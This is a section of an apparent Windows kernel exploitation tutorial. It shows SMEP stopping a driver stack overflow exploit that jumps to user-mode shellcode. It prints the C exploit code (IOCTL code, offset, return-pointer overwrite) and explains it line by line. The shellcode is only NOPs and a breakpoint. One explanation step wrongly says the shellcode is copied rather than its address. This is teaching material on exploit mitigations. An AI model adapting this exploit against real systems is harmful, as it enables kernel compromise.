Meet SMEP

SMEP (Supervisor Mode Execution Prevention) is an exploit mitigation technique that prevents execution of user-mode code in the kernel context. Let's see it in action!

In the exploit mitigations section we learned that SMEP is implemented by setting a bit in a CPU control register, specifically the 20th bit of the cr4 control register and that to fully support SMEP, you need a compatible processor and an operating system that supports SMEP.

The version of Windows we are using is Windows 10 1607, this version supports SMEP.

This short section will demonstrate how SMEP stops us executing user mode code in the kernel context.

Exploit Code Changes

Take your time to read through the code changes in the else block:

// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t offset = 72;
// the length of the buffer
const size_t len = 150;

// 8 instructions
const unsigned char shellcode[8] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xcc };

// allocate memory for the shellcode
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!alloc)
{
	printf("[!] Unable to allocate memory for the shellcode. Error code: %d\n", GetLastError());
	return 1;
}

printf("[+] Memory allocated: 0x%p\n", alloc);

// copy the shellcode in to the memory
RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
printf("[+] Shellcode copied to: 0x%p\n", alloc);

// the exploit buffer
char buffer[len];
memset(buffer, 0x41, len);

// write to the saved return pointer offset - our shellcode in user land
memcpy(buffer + offset, &alloc, 8);

printf("[!] Press enter when ready...");
getchar();

// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);

We have made quite a few changes to the exploit code and tidied it up a bit.

Here's an explanation of the provided code:

  1. unsigned int ioCode = 0x80102040; - This variable represents the IOCTL code, which is a unique identifier used to specify the type of input/output operation to be performed on the device.

  2. const size_t offset = 72; - This variable determines the offset where the exploit buffer will overwrite the saved return pointer on the stack. It specifies the number of bytes from the start of the buffer.

  3. const unsigned char shellcode[8] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xcc }; - This is an array representing the shellcode, which consists of seven NOP instructions and one INT3 instruction.

  4. LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - This line allocates memory using the VirtualAlloc function to store the shellcode. The MEM_COMMIT | MEM_RESERVE flags specify that the memory should be committed and reserved, and PAGE_EXECUTE_READWRITE sets the memory protection to allow execution.

  5. RtlMoveMemory(alloc, shellcode, sizeof(shellcode)); - This function copies the shellcode into the allocated memory.

  6. char buffer[len]; - This variable represents the exploit buffer, which will be used to send data to the driver.

  7. memset(buffer, 0x41, len); - This line fills the buffer with the value 0x41 (ASCII character 'A') to generate a pattern for testing the vulnerability.

  8. memcpy(buffer + offset, alloc, 8); - This line copies the shellcode from the allocated memory to the position in the buffer specified by the offset, overwriting the saved return pointer.

  9. DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL); - This function call sends the exploit buffer to the device driver using the DeviceIoControl function, triggering the vulnerability and executing the shellcode.

Testing Shellcode Execution

Compile the code and copy it to the target host, this time when the debugger breaks, we simply need to continue execution using the g command. We will let the host BSOD and we will read the error generated by the OS.

If we continue execution we get a BSOD with the stop code ATTEMPTED EXECUTE OF NOEXECUTE MEMORY; this is SMEP in action:

In the next section will we revisit Return Oriented Programming (ROP), as this provides us with a way to bypass SMEP.

Demo

Last updated